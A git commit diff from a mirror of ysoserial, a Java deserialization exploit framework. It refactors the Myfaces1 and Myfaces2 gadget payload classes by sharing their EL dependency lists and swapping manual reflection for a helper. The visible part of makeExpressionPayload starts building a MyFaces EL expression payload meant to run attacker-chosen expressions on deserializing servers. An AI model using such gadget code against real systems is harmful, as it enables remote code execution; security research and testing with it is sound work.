mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-26 17:01:53 +08:00
Some cleanup of myfaces gadgets.
This commit is contained in:
@@ -1,7 +1,6 @@
|
|||||||
package ysoserial.payloads;
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
|
||||||
import java.lang.reflect.Field;
|
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
|
||||||
import javax.el.ELContext;
|
import javax.el.ELContext;
|
||||||
@@ -20,6 +19,7 @@ import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
|
|||||||
import ysoserial.payloads.annotation.PayloadTest;
|
import ysoserial.payloads.annotation.PayloadTest;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -44,7 +44,7 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
"nls", "javadoc"
|
"nls", "javadoc"
|
||||||
} )
|
} )
|
||||||
@PayloadTest(skip="Requires running MyFaces, no direct execution")
|
@PayloadTest(skip="Requires running MyFaces, no direct execution")
|
||||||
public class Myfaces1 implements ObjectPayload<Object> {
|
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* {@inheritDoc}
|
* {@inheritDoc}
|
||||||
@@ -57,9 +57,35 @@ public class Myfaces1 implements ObjectPayload<Object> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String[] getDependencies () {
|
||||||
|
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
|
||||||
|
return new String[] {
|
||||||
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
|
"org.mortbay.jasper:apache-el:8.0.27",
|
||||||
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
|
||||||
|
// deps for mocking the FacesContext
|
||||||
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
|
};
|
||||||
|
} else if ( "juel".equals(System.getProperty("el")) ) {
|
||||||
|
return new String[] {
|
||||||
|
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
||||||
|
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
||||||
|
"javax.servlet:javax.servlet-api:3.1.0",
|
||||||
|
|
||||||
|
// deps for mocking the FacesContext
|
||||||
|
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @param expr
|
* @param expr
|
||||||
* @return
|
* @return
|
||||||
|
* @throws IllegalArgumentException
|
||||||
* @throws NoSuchFieldException
|
* @throws NoSuchFieldException
|
||||||
* @throws IllegalAccessException
|
* @throws IllegalAccessException
|
||||||
* @throws Exception
|
* @throws Exception
|
||||||
@@ -68,13 +94,10 @@ public class Myfaces1 implements ObjectPayload<Object> {
|
|||||||
* @throws InstantiationException
|
* @throws InstantiationException
|
||||||
* @throws InvocationTargetException
|
* @throws InvocationTargetException
|
||||||
*/
|
*/
|
||||||
public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException,
|
public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
|
||||||
NoSuchMethodException, InstantiationException, InvocationTargetException {
|
|
||||||
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
|
||||||
Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext");
|
|
||||||
fEl.setAccessible(true);
|
|
||||||
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
|
||||||
fEl.set(fc, elContext);
|
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
|
||||||
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
|
||||||
|
|
||||||
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
|
||||||
|
|||||||
@@ -31,28 +31,9 @@ import ysoserial.payloads.util.PayloadRunner;
|
|||||||
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
public static String[] getDependencies () {
|
public static String[] getDependencies () {
|
||||||
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
|
return Myfaces1.getDependencies();
|
||||||
return new String[] {
|
|
||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
|
||||||
"org.mortbay.jasper:apache-el:8.0.27",
|
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
|
||||||
};
|
|
||||||
} else if ( "juel".equals(System.getProperty("el")) ) {
|
|
||||||
return new String[] {
|
|
||||||
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
|
|
||||||
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
|
|
||||||
"javax.servlet:javax.servlet-api:3.1.0",
|
|
||||||
|
|
||||||
// deps for mocking the FacesContext
|
|
||||||
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
|
|
||||||
};
|
|
||||||
}
|
}
|
||||||
|
|
||||||
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
|
|||||||
Reference in New Issue
Block a user